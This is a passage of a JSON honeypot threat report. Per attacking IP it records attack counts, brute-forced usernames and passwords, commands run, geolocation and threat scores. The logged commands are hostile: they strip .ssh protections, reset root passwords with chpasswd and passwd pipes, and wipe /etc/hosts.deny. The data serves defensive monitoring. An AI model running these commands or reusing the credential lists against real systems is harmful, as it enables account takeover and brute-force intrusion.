        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"myadmin1234\\nuy1Ag3VoHYa9\\nuy1Ag3VoHYa9\\n\"|passwd",
        "echo \"root:JuT15fIDW08Q\"|chpasswd|bash",
        "echo -e \"myadmin1234\\nuy1Ag3VoHYa9\\nuy1Ag3VoHYa9\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 4780,
      "as_org": "Digital United Inc.",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 282,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T14:28:06.896000+00:00",
        "last_seen_30d": "2026-03-07T06:19:33.788000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 227,
        "Suricata": 55
      }
    },
    "41.59.229.33": {
      "attack_count": 221,
      "first_seen": "2026-03-04T07:11:26.247Z",
      "last_seen": "2026-03-31T23:41:02.351Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "root2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456Lk",
        "123456a",
        "12345@abc",
        "123muie123",
        "1b2c3d4",
        "1qaz@WSX!QAZ",
        "ASDqwe123!",
        "Abc@2025",
        "Bingo@1993",
        "Cr123456@",
        "Huawei123",
        "QWERTY123456",
        "Qwerty789",
        "System12",
        "Tencent@2025",
        "Test123!@#",
        "asdf!234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:UA4CH5oxOV9P\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 60.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.8,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:11:26.247000+00:00",
        "last_seen_30d": "2026-03-31T23:41:02.351000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 221,
        "Suricata": 78
      }
    },
    "45.78.206.111": {
      "attack_count": 215,
      "first_seen": "2026-03-11T21:48:33.394Z",
      "last_seen": "2026-03-15T21:54:46.116Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alexis",
        "claude",
        "data",
        "develop",
        "ernesto",
        "excel",
        "flussonic",
        "intel",
        "meng",
        "mongod",
        "noreply",
        "saad",
        "webadmin"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Demo@123",
        "Flussonic123",
        "Noreply123",
        "alexis123",
        "claude123",
        "develop123",
        "mongod123!",
        "password",
        "woaini1314."
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nhamuRqBiqKCP\\nhamuRqBiqKCP\\n\"|passwd",
        "echo \"123\\niMw23PJT9Arz\\niMw23PJT9Arz\\n\"|passwd",
        "echo -e \"123456\\nhamuRqBiqKCP\\nhamuRqBiqKCP\"|passwd|bash",
        "echo -e \"123\\niMw23PJT9Arz\\niMw23PJT9Arz\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.3,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T21:48:33.394000+00:00",
        "last_seen_30d": "2026-03-15T21:55:52.742000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 215,
        "Suricata": 52
      }
    },
    "209.38.165.191": {
      "attack_count": 194,
      "first_seen": "2026-03-11T07:03:43.466Z",
      "last_seen": "2026-03-11T08:17:59.104Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "validator",
        "solv",
        "binance",
        "bootstrap",
        "bot",
        "drone",
        "ethereum",
        "firedancer",
        "jito",
        "node",
        "okx",
        "shred",
        "shreded",
        "slot",
        "sol",
        "telegram",
        "trader",
        "trading",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "123456",
        "bootstrap",
        "jito",
        "shred",
        "slot",
        "1234",
        "Solana",
        "binance",
        "bot",
        "drone",
        "ethereum",
        "firedancer",
        "node",
        "okx",
        "phantom",
        "shreded",
        "shredr",
        "sol"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 283,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T06:57:19.864000+00:00",
        "last_seen_30d": "2026-03-11T08:19:02.910000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 89
      }
    },
    "103.172.204.219": {
      "attack_count": 187,
      "first_seen": "2026-03-15T21:07:24.583Z",
      "last_seen": "2026-03-15T21:38:18.494Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "qbtuser",
        "ansible",
        "mastodon",
        "sakura",
        "shoutcast",
        "smbuser",
        "user001",
        "wso2"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "abc123456@",
        "ansible!@#",
        "k",
        "mastodon",
        "sakurapass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nXOioEEKmYaPj\\nXOioEEKmYaPj\\n\"|passwd",
        "echo \"root:hWOKgKhKLrZu\"|chpasswd|bash",
        "echo -e \"12345\\nXOioEEKmYaPj\\nXOioEEKmYaPj\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T21:07:24.583000+00:00",
        "last_seen_30d": "2026-03-15T21:39:25.408000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 36
      }
    },
    "209.97.143.157": {
      "attack_count": 185,
      "first_seen": "2026-03-11T01:08:01.392Z",
      "last_seen": "2026-03-11T02:20:29.927Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "validator",
        "solv",
        "binance",
        "bootstrap",
        "bot",
        "drone",
        "ethereum",
        "firedancer",
        "jito",
        "node",
        "okx",
        "shred",
        "shreded",
        "slot",
        "sol",
        "telegram",
        "trader",
        "trading",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "123456",
        "bootstrap",
        "jito",
        "shred",
        "slot",
        "1234",
        "Solana",
        "binance",
        "bot",
        "drone",
        "ethereum",
        "firedancer",
        "node",
        "okx",
        "phantom",
        "shreded",
        "shredr",
        "sol"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 273,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T01:05:20.037000+00:00",
        "last_seen_30d": "2026-03-11T02:21:36.470000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 185,
        "Suricata": 88
      }
    },
    "220.149.212.190": {
      "attack_count": 184,
      "first_seen": "2026-03-07T11:05:00.166Z",
      "last_seen": "2026-03-07T11:53:06.981Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "andrey",
        "builder",
        "itadmin",
        "znc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Abc.1234",
        "Znc123!",
        "admin@2025",
        "builder1234",
        "cloud1234",
        "itadmin",
        "zxasqw12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:D4drjk5XEh4U\"|chpasswd|bash",
        "echo \"root:O9FONmDXxWeh\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T11:05:00.166000+00:00",
        "last_seen_30d": "2026-03-07T11:54:10.084000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 184,
        "Suricata": 47
      }
    },
    "143.198.161.12": {
      "attack_count": 177,
      "first_seen": "2026-03-12T03:37:15.948Z",
      "last_seen": "2026-03-31T23:28:27.141Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "splunk",
        "abe",
        "claude",
        "comunicacao",
        "shadow"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "12345@abc",
        "123muie123",
        "P@$$w0rd@1234",
        "Qwerty789",
        "System12",
        "abepass",
        "claude123",
        "comunicacao123",
        "shadow",
        "splunk123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:ardDWT2mEtSA\"|chpasswd|bash",
        "echo \"splunk123\\nl8E9GFeBOrpc\\nl8E9GFeBOrpc\\n\"|passwd",
        "echo -e \"splunk123\\nl8E9GFeBOrpc\\nl8E9GFeBOrpc\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 51.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.2,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 211,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T03:37:15.948000+00:00",
        "last_seen_30d": "2026-03-31T23:29:31.281000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 177,
        "Suricata": 34
      }
    },
    "175.146.252.199": {
      "attack_count": 172,
      "first_seen": "2026-03-11T07:51:05.924Z",
      "last_seen": "2026-03-11T07:57:05.809Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T07:51:05.924000+00:00",
        "last_seen_30d": "2026-03-11T07:58:14.718000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 172,
        "Suricata": 87
      }
    },
    "170.233.113.33": {
      "attack_count": 168,
      "first_seen": "2026-03-29T06:50:33.827Z",
      "last_seen": "2026-03-29T08:40:58.203Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "321234",
        "3245gs5662d34",
        "345gs5662d34",
        "4dm1n",
        "99999999",
        "ABCabc2026",
        "Aa111222",
        "Abcd12345.",
        "Admin777",
        "Dp123123",
        "Paris-123",
        "abc1234567890",
        "abcdefgh",
        "ji394su3",
        "julio",
        "qwaszxedc",
        "raptor",
        "steve",
        "vpn",
        "yousuck"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:d5maYfxiUwym\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Foz do Igua\u00e7u",
      "asn": 273788,
      "as_org": "CATARATAS NET",
      "threat_score": 34.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T06:50:33.827000+00:00",
        "last_seen_30d": "2026-03-29T08:42:04.489000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 64
      }
    },
    "8.243.50.114": {
      "attack_count": 142,
      "first_seen": "2026-03-12T12:06:43.673Z",
      "last_seen": "2026-03-14T16:58:53.044Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ceo",
        "n8n",
        "comp",
        "csserver",
        "k8s",
        "localhost",
        "maarch",
        "mysql",
        "root",
        "testing",
        "toor"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "Jay56",
        "Maarch123!",
        "ceo",
        "cloud@123",
        "n8n",
        "testing1234",
        "toor"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ceo\\nLa2murBdwzwW\\nLa2murBdwzwW\\n\"|passwd",
        "echo -e \"ceo\\nLa2murBdwzwW\\nLa2murBdwzwW\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 3356,
      "as_org": "Level 3 Parent, LLC",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T12:06:43.673000+00:00",
        "last_seen_30d": "2026-03-14T16:59:58.004000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 142,
        "Suricata": 35
      }
    },
    "133.88.120.64": {
      "attack_count": 124,
      "first_seen": "2026-03-09T22:54:33.272Z",
      "last_seen": "2026-03-09T23:15:43.179Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "admins",
        "345gs5662d34",
        "clawd",
        "cliente",
        "khalil",
        "mark",
        "nutanix",
        "pp",
        "ram",
        "smbuser",
        "ubuntu",
        "verdaccio"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "password",
        "1234",
        "12345",
        "123qweasd",
        "3245gs5662d34",
        "345gs5662d34",
        "rampass",
        "smbuser123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nXgxyoibHM5zD\\nXgxyoibHM5zD\\n\"|passwd",
        "echo -e \"password\\nXgxyoibHM5zD\\nXgxyoibHM5zD\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Nagoya",
      "asn": 58791,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T22:54:33.272000+00:00",
        "last_seen_30d": "2026-03-09T23:16:48.118000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "190.147.181.172": {
      "attack_count": 124,
      "first_seen": "2026-03-06T06:10:27.715Z",
      "last_seen": "2026-03-06T06:41:15.387Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "beehive",
        "345gs5662d34",
        "alexis",
        "forge",
        "javier",
        "maxim",
        "remoteuser",
        "root",
        "sinusbot",
        "sonarqube",
        "test101",
        "web_admin"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "@qwer2025",
        "Beehive123!",
        "Javier123!",
        "forge",
        "maxim123",
        "remoteuser123",
        "web_admin123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Beehive123!\\nP0A7O2o3PzyT\\nP0A7O2o3PzyT\\n\"|passwd",
        "echo -e \"Beehive123!\\nP0A7O2o3PzyT\\nP0A7O2o3PzyT\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Pereira",
      "asn": 10620,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:10:27.715000+00:00",
        "last_seen_30d": "2026-03-06T06:42:16.357000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 33
      }
    },
    "209.38.120.66": {
      "attack_count": 119,
      "first_seen": "2026-03-05T19:46:40.270Z",
      "last_seen": "2026-03-05T20:07:24.053Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "gitlabuser",
        "345gs5662d34",
        "admin",
        "admin1234",
        "ais",
        "kube",
        "leon",
        "lyt",
        "mari",
        "oracle",
        "sandro"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Gitlabuser123",
        "Leon123!",
        "adm1n",
        "admin1234123!",
        "ais123",
        "lyt1234",
        "maripass",
        "oracle",
        "password",
        "sandro123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
